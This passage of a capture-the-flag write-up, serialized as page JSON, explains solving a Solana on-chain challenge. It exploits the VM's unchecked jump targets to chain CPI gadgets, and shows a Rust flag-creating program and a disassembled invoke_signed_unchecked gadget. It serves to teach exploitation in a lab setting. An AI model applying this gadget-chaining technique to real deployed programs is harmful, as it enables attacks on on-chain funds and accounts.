{:?}\"",{"type":21,"tag":198,"props":43759,"children":43760},{"style":211},[43761],{"type":27,"value":828},{"type":21,"tag":198,"props":43763,"children":43764},{"style":226},[43765],{"type":27,"value":43486},{"type":21,"tag":198,"props":43767,"children":43768},{"style":211},[43769],{"type":27,"value":2109},{"type":21,"tag":198,"props":43771,"children":43772},{"style":683},[43773],{"type":27,"value":2156},{"type":21,"tag":198,"props":43775,"children":43776},{"style":211},[43777],{"type":27,"value":1483},{"type":21,"tag":198,"props":43779,"children":43780},{"class":200,"line":365},[43781,43785,43789],{"type":21,"tag":198,"props":43782,"children":43783},{"style":211},[43784],{"type":27,"value":4117},{"type":21,"tag":198,"props":43786,"children":43787},{"style":640},[43788],{"type":27,"value":4122},{"type":21,"tag":198,"props":43790,"children":43791},{"style":211},[43792],{"type":27,"value":233},{"type":21,"tag":198,"props":43794,"children":43795},{"class":200,"line":386},[43796,43800,43804,43808,43812,43817,43821,43825],{"type":21,"tag":198,"props":43797,"children":43798},{"style":698},[43799],{"type":27,"value":43740},{"type":21,"tag":198,"props":43801,"children":43802},{"style":211},[43803],{"type":27,"value":706},{"type":21,"tag":198,"props":43805,"children":43806},{"style":226},[43807],{"type":27,"value":42692},{"type":21,"tag":198,"props":43809,"children":43810},{"style":211},[43811],{"type":27,"value":828},{"type":21,"tag":198,"props":43813,"children":43814},{"style":205},[43815],{"type":27,"value":43816},"\"flag not found, please contact admin\"",{"type":21,"tag":198,"props":43818,"children":43819},{"style":211},[43820],{"type":27,"value":2109},{"type":21,"tag":198,"props":43822,"children":43823},{"style":683},[43824],{"type":27,"value":2156},{"type":21,"tag":198,"props":43826,"children":43827},{"style":211},[43828],{"type":27,"value":1483},{"type":21,"tag":198,"props":43830,"children":43831},{"class":200,"line":408},[43832],{"type":21,"tag":198,"props":43833,"children":43834},{"style":211},[43835],{"type":27,"value":1160},{"type":21,"tag":198,"props":43837,"children":43838},{"class":200,"line":429},[43839],{"type":21,"tag":198,"props":43840,"children":43841},{"style":211},[43842],{"type":27,"value":880},{"type":21,"tag":198,"props":43844,"children":43845},{"class":200,"line":450},[43846],{"type":21,"tag":198,"props":43847,"children":43848},{"style":211},[43849],{"type":27,"value":1120},{"type":21,"tag":22,"props":43851,"children":43853},{"id":43852},"solution-idea",[43854],{"type":27,"value":43855},"Solution Idea",{"type":21,"tag":30,"props":43857,"children":43858},{},[43859,43861,43866],{"type":27,"value":43860},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":21,"tag":194,"props":43862,"children":43864},{"className":43863},[],[43865],{"type":27,"value":36455},{"type":27,"value":43867}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":21,"tag":30,"props":43869,"children":43870},{},[43871,43873,43879],{"type":27,"value":43872},"In order to get the flag, we need to make sure that the account at ",{"type":21,"tag":194,"props":43874,"children":43876},{"className":43875},[],[43877],{"type":27,"value":43878},"PDA(\"FLAG\")",{"type":27,"value":43880}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":21,"tag":30,"props":43882,"children":43883},{},[43884,43886,43893],{"type":27,"value":43885},"Essentially, we need to ",{"type":21,"tag":34,"props":43887,"children":43890},{"href":43888,"rel":43889},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[38],[43891],{"type":27,"value":43892},"invoke the System Program",{"type":27,"value":43894},", and write controlled data into the newly created account.",{"type":21,"tag":30,"props":43896,"children":43897},{},[43898],{"type":27,"value":43899},"A sample program that does this is as follows:",{"type":21,"tag":187,"props":43901,"children":43903},{"className":3789,"code":43902,"language":3788,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[43904],{"type":21,"tag":194,"props":43905,"children":43906},{"__ignoreMap":7},[43907,43927,43951,43979,44007,44027,44063,44099,44106,44114,44147,44164,44189,44210,44262,44287,44294,44307,44353,44397,44405,44413,44424,44440,44451,44471,44491,44498,44534,44549,44556,44564,44643,44650,44661],{"type":21,"tag":198,"props":43908,"children":43909},{"class":200,"line":201},[43910,43914,43918,43923],{"type":21,"tag":198,"props":43911,"children":43912},{"style":249},[43913],{"type":27,"value":14497},{"type":21,"tag":198,"props":43915,"children":43916},{"style":249},[43917],{"type":27,"value":14502},{"type":21,"tag":198,"props":43919,"children":43920},{"style":698},[43921],{"type":27,"value":43922}," process_instruction",{"type":21,"tag":198,"props":43924,"children":43925},{"style":211},[43926],{"type":27,"value":4268},{"type":21,"tag":198,"props":43928,"children":43929},{"class":200,"line":217},[43930,43935,43939,43943,43947],{"type":21,"tag":198,"props":43931,"children":43932},{"style":226},[43933],{"type":27,"value":43934}," program_id",{"type":21,"tag":198,"props":43936,"children":43937},{"style":683},[43938],{"type":27,"value":185},{"type":21,"tag":198,"props":43940,"children":43941},{"style":683},[43942],{"type":27,"value":7953},{"type":21,"tag":198,"props":43944,"children":43945},{"style":1966},[43946],{"type":27,"value":22191},{"type":21,"tag":198,"props":43948,"children":43949},{"style":211},[43950],{"type":27,"value":257},{"type":21,"tag":198,"props":43952,"children":43953},{"class":200,"line":236},[43954,43959,43963,43967,43971,43975],{"type":21,"tag":198,"props":43955,"children":43956},{"style":226},[43957],{"type":27,"value":43958}," accounts",{"type":21,"tag":198,"props":43960,"children":43961},{"style":683},[43962],{"type":27,"value":185},{"type":21,"tag":198,"props":43964,"children":43965},{"style":683},[43966],{"type":27,"value":7953},{"type":21,"tag":198,"props":43968,"children":43969},{"style":211},[43970],{"type":27,"value":2051},{"type":21,"tag":198,"props":43972,"children":43973},{"style":1966},[43974],{"type":27,"value":15743},{"type":21,"tag":198,"props":43976,"children":43977},{"style":211},[43978],{"type":27,"value":2820},{"type":21,"tag":198,"props":43980,"children":43981},{"class":200,"line":260},[43982,43987,43991,43995,43999,44003],{"type":21,"tag":198,"props":43983,"children":43984},{"style":226},[43985],{"type":27,"value":43986}," data",{"type":21,"tag":198,"props":43988,"children":43989},{"style":683},[43990],{"type":27,"value":185},{"type":21,"tag":198,"props":43992,"children":43993},{"style":683},[43994],{"type":27,"value":7953},{"type":21,"tag":198,"props":43996,"children":43997},{"style":211},[43998],{"type":27,"value":2051},{"type":21,"tag":198,"props":44000,"children":44001},{"style":1966},[44002],{"type":27,"value":4226},{"type":21,"tag":198,"props":44004,"children":44005},{"style":211},[44006],{"type":27,"value":12582},{"type":21,"tag":198,"props":44008,"children":44009},{"class":200,"line":281},[44010,44014,44018,44023],{"type":21,"tag":198,"props":44011,"children":44012},{"style":211},[44013],{"type":27,"value":1541},{"type":21,"tag":198,"props":44015,"children":44016},{"style":683},[44017],{"type":27,"value":14564},{"type":21,"tag":198,"props":44019,"children":44020},{"style":1966},[44021],{"type":27,"value":44022}," ProgramResult",{"type":21,"tag":198,"props":44024,"children":44025},{"style":211},[44026],{"type":27,"value":233},{"type":21,"tag":198,"props":44028,"children":44029},{"class":200,"line":302},[44030,44034,44039,44043,44047,44051,44055,44059],{"type":21,"tag":198,"props":44031,"children":44032},{"style":249},[44033],{"type":27,"value":3809},{"type":21,"tag":198,"props":44035,"children":44036},{"style":226},[44037],{"type":27,"value":44038}," flag_pda_ai",{"type":21,"tag":198,"props":44040,"children":44041},{"style":683},[44042],{"type":27,"value":979},{"type":21,"tag":198,"props":44044,"children":44045},{"style":683},[44046],{"type":27,"value":7953},{"type":21,"tag":198,"props":44048,"children":44049},{"style":226},[44050],{"type":27,"value":15480},{"type":21,"tag":198,"props":44052,"children":44053},{"style":211},[44054],{"type":27,"value":2051},{"type":21,"tag":198,"props":44056,"children":44057},{"style":2540},[44058],{"type":27,"value":3482},{"type":21,"tag":198,"props":44060,"children":44061},{"style":211},[44062],{"type":27,"value":32361},{"type":21,"tag":198,"props":44064,"children":44065},{"class":200,"line":323},[44066,44070,44075,44079,44083,44087,44091,44095],{"type":21,"tag":198,"props":44067,"children":44068},{"style":249},[44069],{"type":27,"value":3809},{"type":21,"tag":198,"props":44071,"children":44072},{"style":226},[44073],{"type":27,"value":44074}," user_ai",{"type":21,"tag":198,"props":44076,"children":44077},{"style":683},[44078],{"type":27,"value":979},{"type":21,"tag":198,"props":44080,"children":44081},{"style":683},[44082],{"type":27,"value":7953},{"type":21,"tag":198,"props":44084,"children":44085},{"style":226},[44086],{"type":27,"value":15480},{"type":21,"tag":198,"props":44088,"children":44089},{"style":211},[44090],{"type":27,"value":2051},{"type":21,"tag":198,"props":44092,"children":44093},{"style":2540},[44094],{"type":27,"value":134},{"type":21,"tag":198,"props":44096,"children":44097},{"style":211},[44098],{"type":27,"value":32361},{"type":21,"tag":198,"props":44100,"children":44101},{"class":200,"line":344},[44102],{"type":21,"tag":198,"props":44103,"children":44104},{"emptyLinePlaceholder":16},[44105],{"type":27,"value":1283},{"type":21,"tag":198,"props":44107,"children":44108},{"class":200,"line":365},[44109],{"type":21,"tag":198,"props":44110,"children":44111},{"style":1233},[44112],{"type":27,"value":44113}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":21,"tag":198,"props":44115,"children":44116},{"class":200,"line":386},[44117,44121,44126,44130,44134,44138,44143],{"type":21,"tag":198,"props":44118,"children":44119},{"style":249},[44120],{"type":27,"value":3809},{"type":21,"tag":198,"props":44122,"children":44123},{"style":226},[44124],{"type":27,"value":44125}," instruction",{"type":21,"tag":198,"props":44127,"children":44128},{"style":683},[44129],{"type":27,"value":979},{"type":21,"tag":198,"props":44131,"children":44132},{"style":1966},[44133],{"type":27,"value":41765},{"type":21,"tag":198,"props":44135,"children":44136},{"style":683},[44137],{"type":27,"value":4286},{"type":21,"tag":198,"props":44139,"children":44140},{"style":698},[44141],{"type":27,"value":44142},"new_with_bincode",{"type":21,"tag":198,"props":44144,"children":44145},{"style":211},[44146],{"type":27,"value":4268},{"type":21,"tag":198,"props":44148,"children":44149},{"class":200,"line":408},[44150,44155,44159],{"type":21,"tag":198,"props":44151,"children":44152},{"style":211},[44153],{"type":27,"value":44154}," system_program",{"type":21,"tag":198,"props":44156,"children":44157},{"style":683},[44158],{"type":27,"value":4286},{"type":21,"tag":198,"props":44160,"children":44161},{"style":211},[44162],{"type":27,"value":44163},"ID,\n",{"type":21,"tag":198,"props":44165,"children":44166},{"class":200,"line":429},[44167,44171,44176,44180,44185],{"type":21,"tag":198,"props":44168,"children":44169},{"style":683},[44170],{"type":27,"value":4276},{"type":21,"tag":198,"props":44172,"children":44173},{"style":211},[44174],{"type":27,"value":44175},"SystemInstruction",{"type":21,"tag":198,"props":44177,"children":44178},{"style":683},[44179],{"type":27,"value":4286},{"type":21,"tag":198,"props":44181,"children":44182},{"style":1966},[44183],{"type":27,"value":44184},"CreateAccount",{"type":21,"tag":198,"props":44186,"children":44187},{"style":211},[44188],{"type":27,"value":233},{"type":21,"tag":198,"props":44190,"children":44191},{"class":200,"line":450},[44192,44197,44201,44206],{"type":21,"tag":198,"props":44193,"children":44194},{"style":226},[44195],{"type":27,"value":44196}," space",{"type":21,"tag":198,"props":44198,"children":44199},{"style":683},[44200],{"type":27,"value":185},{"type":21,"tag":198,"props":44202,"children":44203},{"style":2540},[44204],{"type":27,"value":44205}," 0x1337",{"type":21,"tag":198,"props":44207,"children":44208},{"style":211},[44209],{"type":27,"value":257},{"type":21,"tag":198,"props":44211,"children":44212},{"class":200,"line":468},[44213,44218,44222,44227,44231,44236,44240,44244,44249,44253,44258],{"type":21,"tag":198,"props":44214,"children":44215},{"style":226},[44216],{"type":27,"value":44217}," lamports",{"type":21,"tag":198,"props":44219,"children":44220},{"style":683},[44221],{"type":27,"value":185},{"type":21,"tag":198,"props":44223,"children":44224},{"style":211},[44225],{"type":27,"value":44226}," Rent",{"type":21,"tag":198,"props":44228,"children":44229},{"style":683},[44230],{"type":27,"value":4286},{"type":21,"tag":198,"props":44232,"children":44233},{"style":698},[44234],{"type":27,"value":44235},"default",{"type":21,"tag":198,"props":44237,"children":44238},{"style":211},[44239],{"type":27,"value":14686},{"type":21,"tag":198,"props":44241,"children":44242},{"style":683},[44243],{"type":27,"value":658},{"type":21,"tag":198,"props":44245,"children":44246},{"style":698},[44247],{"type":27,"value":44248},"minimum_balance",{"type":21,"tag":198,"props":44250,"children":44251},{"style":211},[44252],{"type":27,"value":706},{"type":21,"tag":198,"props":44254,"children":44255},{"style":2540},[44256],{"type":27,"value":44257},"0x1337",{"type":21,"tag":198,"props":44259,"children":44260},{"style":211},[44261],{"type":27,"value":7548},{"type":21,"tag":198,"props":44263,"children":44264},{"class":200,"line":477},[44265,44270,44274,44278,44282],{"type":21,"tag":198,"props":44266,"children":44267},{"style":226},[44268],{"type":27,"value":44269}," owner",{"type":21,"tag":198,"props":44271,"children":44272},{"style":683},[44273],{"type":27,"value":185},{"type":21,"tag":198,"props":44275,"children":44276},{"style":211},[44277],{"type":27,"value":42797},{"type":21,"tag":198,"props":44279,"children":44280},{"style":683},[44281],{"type":27,"value":4286},{"type":21,"tag":198,"props":44283,"children":44284},{"style":211},[44285],{"type":27,"value":44286},"ID\n",{"type":21,"tag":198,"props":44288,"children":44289},{"class":200,"line":494},[44290],{"type":21,"tag":198,"props":44291,"children":44292},{"style":211},[44293],{"type":27,"value":26178},{"type":21,"tag":198,"props":44295,"children":44296},{"class":200,"line":515},[44297,44302],{"type":21,"tag":198,"props":44298,"children":44299},{"style":698},[44300],{"type":27,"value":44301}," vec!",{"type":21,"tag":198,"props":44303,"children":44304},{"style":211},[44305],{"type":27,"value":44306},"[\n",{"type":21,"tag":198,"props":44308,"children":44309},{"class":200,"line":4484},[44310,44315,44319,44323,44327,44331,44336,44340,44345,44349],{"type":21,"tag":198,"props":44311,"children":44312},{"style":211},[44313],{"type":27,"value":44314}," AccountMeta",{"type":21,"tag":198,"props":44316,"children":44317},{"style":683},[44318],{"type":27,"value":4286},{"type":21,"tag":198,"props":44320,"children":44321},{"style":698},[44322],{"type":27,"value":15927},{"type":21,"tag":198,"props":44324,"children":44325},{"style":211},[44326],{"type":27,"value":706},{"type":21,"tag":198,"props":44328,"children":44329},{"style":683},[44330],{"type":27,"value":5383},{"type":21,"tag":198,"props":44332,"children":44333},{"style":226},[44334],{"type":27,"value":44335},"user_ai",{"type":21,"tag":198,"props":44337,"children":44338},{"style":683},[44339],{"type":27,"value":658},{"type":21,"tag":198,"props":44341,"children":44342},{"style":211},[44343],{"type":27,"value":44344},"key, ",{"type":21,"tag":198,"props":44346,"children":44347},{"style":249},[44348],{"type":27,"value":4806},{"type":21,"tag":198,"props":44350,"children":44351},{"style":211},[44352],{"type":27,"value":7548},{"type":21,"tag":198,"props":44354,"children":44355},{"class":200,"line":4493},[44356,44360,44364,44368,44372,44376,44381,44385,44389,44393],{"type":21,"tag":198,"props":44357,"children":44358},{"style":211},[44359],{"type":27,"value":44314},{"type":21,"tag":198,"props":44361,"children":44362},{"style":683},[44363],{"type":27,"value":4286},{"type":21,"tag":198,"props":44365,"children":44366},{"style":698},[44367],{"type":27,"value":15927},{"type":21,"tag":198,"props":44369,"children":44370},{"style":211},[44371],{"type":27,"value":706},{"type":21,"tag":198,"props":44373,"children":44374},{"style":683},[44375],{"type":27,"value":5383},{"type":21,"tag":198,"props":44377,"children":44378},{"style":226},[44379],{"type":27,"value":44380},"flag_pda_ai",{"type":21,"tag":198,"props":44382,"children":44383},{"style":683},[44384],{"type":27,"value":658},{"type":21,"tag":198,"props":44386,"children":44387},{"style":211},[44388],{"type":27,"value":44344},{"type":21,"tag":198,"props":44390,"children":44391},{"style":249},[44392],{"type":27,"value":4806},{"type":21,"tag":198,"props":44394,"children":44395},{"style":211},[44396],{"type":27,"value":7548},{"type":21,"tag":198,"props":44398,"children":44399},{"class":200,"line":4561},[44400],{"type":21,"tag":198,"props":44401,"children":44402},{"style":211},[44403],{"type":27,"value":44404}," ],\n",{"type":21,"tag":198,"props":44406,"children":44407},{"class":200,"line":4569},[44408],{"type":21,"tag":198,"props":44409,"children":44410},{"style":211},[44411],{"type":27,"value":44412}," );\n",{"type":21,"tag":198,"props":44414,"children":44415},{"class":200,"line":4599},[44416,44420],{"type":21,"tag":198,"props":44417,"children":44418},{"style":698},[44419],{"type":27,"value":41882},{"type":21,"tag":198,"props":44421,"children":44422},{"style":211},[44423],{"type":27,"value":4268},{"type":21,"tag":198,"props":44425,"children":44426},{"class":200,"line":4607},[44427,44431,44436],{"type":21,"tag":198,"props":44428,"children":44429},{"style":683},[44430],{"type":27,"value":4276},{"type":21,"tag":198,"props":44432,"children":44433},{"style":226},[44434],{"type":27,"value":44435},"instruction",{"type":21,"tag":198,"props":44437,"children":44438},{"style":211},[44439],{"type":27,"value":257},{"type":21,"tag":198,"props":44441,"children":44442},{"class":200,"line":4638},[44443,44447],{"type":21,"tag":198,"props":44444,"children":44445},{"style":683},[44446],{"type":27,"value":4276},{"type":21,"tag":198,"props":44448,"children":44449},{"style":211},[44450],{"type":27,"value":44306},{"type":21,"tag":198,"props":44452,"children":44453},{"class":200,"line":4646},[44454,44459,44463,44467],{"type":21,"tag":198,"props":44455,"children":44456},{"style":226},[44457],{"type":27,"value":44458}," user_ai",{"type":21,"tag":198,"props":44460,"children":44461},{"style":683},[44462],{"type":27,"value":658},{"type":21,"tag":198,"props":44464,"children":44465},{"style":698},[44466],{"type":27,"value":16224},{"type":21,"tag":198,"props":44468,"children":44469},{"style":211},[44470],{"type":27,"value":4296},{"type":21,"tag":198,"props":44472,"children":44473},{"class":200,"line":4706},[44474,44479,44483,44487],{"type":21,"tag":198,"props":44475,"children":44476},{"style":226},[44477],{"type":27,"value":44478}," flag_pda_ai",{"type":21,"tag":198,"props":44480,"children":44481},{"style":683},[44482],{"type":27,"value":658},{"type":21,"tag":198,"props":44484,"children":44485},{"style":698},[44486],{"type":27,"value":16224},{"type":21,"tag":198,"props":44488,"children":44489},{"style":211},[44490],{"type":27,"value":4296},{"type":21,"tag":198,"props":44492,"children":44493},{"class":200,"line":9857},[44494],{"type":21,"tag":198,"props":44495,"children":44496},{"style":211},[44497],{"type":27,"value":44404},{"type":21,"tag":198,"props":44499,"children":44500},{"class":200,"line":9875},[44501,44505,44509,44513,44517,44521,44525,44529],{"type":21,"tag":198,"props":44502,"children":44503},{"style":683},[44504],{"type":27,"value":4276},{"type":21,"tag":198,"props":44506,"children":44507},{"style":211},[44508],{"type":27,"value":2051},{"type":21,"tag":198,"props":44510,"children":44511},{"style":683},[44512],{"type":27,"value":3917},{"type":21,"tag":198,"props":44514,"children":44515},{"style":211},[44516],{"type":27,"value":2051},{"type":21,"tag":198,"props":44518,"children":44519},{"style":205},[44520],{"type":27,"value":43377},{"type":21,"tag":198,"props":44522,"children":44523},{"style":683},[44524],{"type":27,"value":658},{"type":21,"tag":198,"props":44526,"children":44527},{"style":698},[44528],{"type":27,"value":43386},{"type":21,"tag":198,"props":44530,"children":44531},{"style":211},[44532],{"type":27,"value":44533},"()]],\n",{"type":21,"tag":198,"props":44535,"children":44536},{"class":200,"line":9920},[44537,44541,44545],{"type":21,"tag":198,"props":44538,"children":44539},{"style":211},[44540],{"type":27,"value":4461},{"type":21,"tag":198,"props":44542,"children":44543},{"style":683},[44544],{"type":27,"value":2156},{"type":21,"tag":198,"props":44546,"children":44547},{"style":211},[44548],{"type":27,"value":1483},{"type":21,"tag":198,"props":44550,"children":44551},{"class":200,"line":10026},[44552],{"type":21,"tag":198,"props":44553,"children":44554},{"emptyLinePlaceholder":16},[44555],{"type":27,"value":1283},{"type":21,"tag":198,"props":44557,"children":44558},{"class":200,"line":24302},[44559],{"type":21,"tag":198,"props":44560,"children":44561},{"style":1233},[44562],{"type":27,"value":44563}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":21,"tag":198,"props":44565,"children":44566},{"class":200,"line":24337},[44567,44572,44576,44580,44584,44588,44592,44596,44600,44604,44608,44613,44617,44621,44626,44630,44634,44639],{"type":21,"tag":198,"props":44568,"children":44569},{"style":226},[44570],{"type":27,"value":44571}," flag_pda_ai",{"type":21,"tag":198,"props":44573,"children":44574},{"style":683},[44575],{"type":27,"value":658},{"type":21,"tag":198,"props":44577,"children":44578},{"style":698},[44579],{"type":27,"value":14681},{"type":21,"tag":198,"props":44581,"children":44582},{"style":211},[44583],{"type":27,"value":14686},{"type":21,"tag":198,"props":44585,"children":44586},{"style":683},[44587],{"type":27,"value":2156},{"type":21,"tag":198,"props":44589,"children":44590},{"style":211},[44591],{"type":27,"value":2051},{"type":21,"tag":198,"props":44593,"children":44594},{"style":683},[44595],{"type":27,"value":3860},{"type":21,"tag":198,"props":44597,"children":44598},{"style":2540},[44599],{"type":27,"value":4887},{"type":21,"tag":198,"props":44601,"children":44602},{"style":211},[44603],{"type":27,"value":2071},{"type":21,"tag":198,"props":44605,"children":44606},{"style":683},[44607],{"type":27,"value":658},{"type":21,"tag":198,"props":44609,"children":44610},{"style":698},[44611],{"type":27,"value":44612},"copy_from_slice",{"type":21,"tag":198,"props":44614,"children":44615},{"style":211},[44616],{"type":27,"value":706},{"type":21,"tag":198,"props":44618,"children":44619},{"style":683},[44620],{"type":27,"value":3917},{"type":21,"tag":198,"props":44622,"children":44623},{"style":2540},[44624],{"type":27,"value":44625},"0x4337",{"type":21,"tag":198,"props":44627,"children":44628},{"style":1966},[44629],{"type":27,"value":8853},{"type":21,"tag":198,"props":44631,"children":44632},{"style":683},[44633],{"type":27,"value":658},{"type":21,"tag":198,"props":44635,"children":44636},{"style":698},[44637],{"type":27,"value":44638},"to_le_bytes",{"type":21,"tag":198,"props":44640,"children":44641},{"style":211},[44642],{"type":27,"value":16229},{"type":21,"tag":198,"props":44644,"children":44645},{"class":200,"line":24345},[44646],{"type":21,"tag":198,"props":44647,"children":44648},{"emptyLinePlaceholder":16},[44649],{"type":27,"value":1283},{"type":21,"tag":198,"props":44651,"children":44652},{"class":200,"line":24353},[44653,44657],{"type":21,"tag":198,"props":44654,"children":44655},{"style":1966},[44656],{"type":27,"value":15138},{"type":21,"tag":198,"props":44658,"children":44659},{"style":211},[44660],{"type":27,"value":15143},{"type":21,"tag":198,"props":44662,"children":44663},{"class":200,"line":24362},[44664],{"type":21,"tag":198,"props":44665,"children":44666},{"style":211},[44667],{"type":27,"value":1120},{"type":21,"tag":30,"props":44669,"children":44670},{},[44671],{"type":27,"value":44672},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":21,"tag":30,"props":44674,"children":44675},{},[44676],{"type":21,"tag":1376,"props":44677,"children":44680},{"alt":44678,"src":44679},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":21,"tag":30,"props":44682,"children":44683},{},[44684],{"type":27,"value":44685},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":21,"tag":22,"props":44687,"children":44689},{"id":44688},"solution-implementation",[44690],{"type":27,"value":44691},"Solution Implementation",{"type":21,"tag":30,"props":44693,"children":44694},{},[44695,44697,44702],{"type":27,"value":44696},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":21,"tag":194,"props":44698,"children":44700},{"className":44699},[],[44701],{"type":27,"value":36455},{"type":27,"value":44703}," invocations:",{"type":21,"tag":187,"props":44705,"children":44709},{"className":44706,"code":44707,"language":44708,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[44710],{"type":21,"tag":194,"props":44711,"children":44712},{"__ignoreMap":7},[44713,44721,44729,44737,44745,44753,44761],{"type":21,"tag":198,"props":44714,"children":44715},{"class":200,"line":201},[44716],{"type":21,"tag":198,"props":44717,"children":44718},{},[44719],{"type":27,"value":44720},"graph LR\n",{"type":21,"tag":198,"props":44722,"children":44723},{"class":200,"line":217},[44724],{"type":21,"tag":198,"props":44725,"children":44726},{},[44727],{"type":27,"value":44728}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":21,"tag":198,"props":44730,"children":44731},{"class":200,"line":236},[44732],{"type":21,"tag":198,"props":44733,"children":44734},{},[44735],{"type":27,"value":44736}," B --> C[2: process]\n",{"type":21,"tag":198,"props":44738,"children":44739},{"class":200,"line":260},[44740],{"type":21,"tag":198,"props":44741,"children":44742},{},[44743],{"type":27,"value":44744}," C --> D[3: gadget1]\n",{"type":21,"tag":198,"props":44746,"children":44747},{"class":200,"line":281},[44748],{"type":21,"tag":198,"props":44749,"children":44750},{},[44751],{"type":27,"value":44752}," C --> E[3: process]\n",{"type":21,"tag":198,"props":44754,"children":44755},{"class":200,"line":302},[44756],{"type":21,"tag":198,"props":44757,"children":44758},{},[44759],{"type":27,"value":44760}," E --> F[4: gadget2]\n",{"type":21,"tag":198,"props":44762,"children":44763},{"class":200,"line":323},[44764],{"type":21,"tag":198,"props":44765,"children":44766},{},[44767],{"type":27,"value":44768}," E --> G[...]\n",{"type":21,"tag":30,"props":44770,"children":44771},{},[44772],{"type":27,"value":44773},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":21,"tag":30,"props":44775,"children":44776},{},[44777,44779,44785],{"type":27,"value":44778},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":21,"tag":34,"props":44780,"children":44782},{"href":41240,"rel":44781},[38],[44783],{"type":27,"value":44784},"Binary Ninja",{"type":27,"value":44786}," to find a suitable gadget for this.",{"type":21,"tag":30,"props":44788,"children":44789},{},[44790,44792,44799],{"type":27,"value":44791},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":21,"tag":34,"props":44793,"children":44796},{"href":44794,"rel":44795},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[38],[44797],{"type":27,"value":44798},"skip the strip pass",{"type":27,"value":658},{"type":21,"tag":59,"props":44801,"children":44803},{"id":44802},"cpi-gadget",[44804],{"type":27,"value":44805},"CPI Gadget",{"type":21,"tag":30,"props":44807,"children":44808},{},[44809,44811,44816,44818,44825,44827,44833],{"type":27,"value":44810},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":21,"tag":194,"props":44812,"children":44814},{"className":44813},[],[44815],{"type":27,"value":39054},{"type":27,"value":44817}," function. This function calls into the solana sdk's function ",{"type":21,"tag":34,"props":44819,"children":44822},{"href":44820,"rel":44821},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[38],[44823],{"type":27,"value":44824},"invoke_signed_unchecked",{"type":27,"value":44826},", yielding a powerful gadget at the address ",{"type":21,"tag":194,"props":44828,"children":44830},{"className":44829},[],[44831],{"type":27,"value":44832},"0x100001ba8",{"type":27,"value":658},{"type":21,"tag":187,"props":44835,"children":44837},{"className":3789,"code":44836,"language":3788,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit 